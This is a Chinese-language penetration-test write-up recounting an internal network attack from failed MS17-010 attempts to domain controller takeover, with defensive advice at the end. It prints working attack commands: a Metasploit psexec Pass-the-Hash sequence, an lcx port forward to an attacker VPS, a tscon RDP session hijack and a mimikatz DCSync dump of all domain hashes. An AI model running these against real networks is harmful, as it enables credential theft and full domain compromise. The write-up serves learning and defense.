记一次实战渗透(下)
字数 1234 2025-08-05 00:16:28
实战渗透测试技术详解:从MS17010到域控攻陷
前言
本文记录了一次完整的内部网络渗透测试过程,重点展示了如何利用MS17-010漏洞、Pass-the-Hash攻击、RDP会话劫持等技术最终获取域控制器权限。本次渗透测试环境为一个安全性较高的域环境,包含多台存在漏洞的主机。
技术要点详解
1. MS17-010漏洞利用
环境准备:
- 使用Cobalt Strike(CS)获取初始会话
- 派生会话给Metasploit Framework(MSF)进行进一步利用
- 由于Windows版MSF路由配置问题,改用Kali Linux虚拟机
代理配置:
- 使用FRP建立代理通道:
- VPS作为服务端(frps.ini)
- Kali作为客户端(frpc.ini)
攻击尝试:
- 发现三台主机存在MS17-010漏洞
- 尝试使用
eterblue模块(因管道未开启) - 最终未能成功利用该漏洞攻陷主机
2. Pass-the-Hash(PtH)攻击
攻击流程:
- 通过端口扫描发现大量主机开放445端口
- 批量进行PtH攻击
- 成功获取多台主机权限
关键命令:
# 使用Metasploit进行PtH攻击
use exploit/windows/smb/psexec
set SMBUser username
set SMBPass [hash]
set RHOSTS [target_ips]
exploit
3. RDP会话劫持技术
发现机会:
- 在主机27上发现两个RDP会话:
- 已知账号和明文密码的普通域账户
- 域管理员账户(会话已失效)
劫持尝试:
- 使用lcx设置端口转发:
# 目标机器 lcx.exe -slave [公网IP] 7212 127.0.0.1 3389 # 攻击者VPS lcx -listen 7212 5555 - 尝试会话劫持:
tscon 2 /dest:console- 失败原因:会话已断开连接
4. 域控制器攻陷
信息收集:
- 从已攻陷主机dump所有hash
- 发现域管理员(Administrator)账户的hash
攻击步骤:
- 尝试PtH攻击域控制器失败
- 使用其他Administrator账户hash进行PtH
- 最终成功获取域控制器权限
关键操作:
# 使用mimikatz导出域内所有账户信息
lsadump::dcsync /domain:[domain] /all /csv
5. 后渗透操作
- 导出NTDS数据库获取所有域账户
- 解密特定用户hash获取明文密码
- 通过RDP连接域控制器
技术总结与防御建议
攻击技术总结
- 横向移动技术:PtH攻击在域环境中非常有效
- 权限提升:通过收集多个主机hash最终获取域管权限
- 持久化:RDP会话劫持可作为持久化手段
防御建议
- 补丁管理:及时修复MS17-010等已知漏洞
- 账户安全:
- 限制域管理员账户使用
- 启用LSA保护防止凭据窃取
- 网络分段:限制445端口的网络访问
- 监控措施:
- 监控异常PtH活动
- 检测异常DCSync操作
- 会话安全:配置RDP会话超时和重新连接策略
工具清单
| 工具名称 | 用途 |
|---|---|
| Cobalt Strike | 初始攻击、会话管理 |
| Metasploit | 漏洞利用、PtH攻击 |
| FRP | 网络代理 |
| Mimikatz | 凭据提取、DCSync |
| lcx | 端口转发 |
| tscon | RDP会话管理 |
通过本次渗透测试可以看出,即使系统补丁较为完善,攻击者仍可能通过其他方式(如PtH)最终获取域控制权限。防御方需要采取多层次的安全措施才能有效防护此类攻击。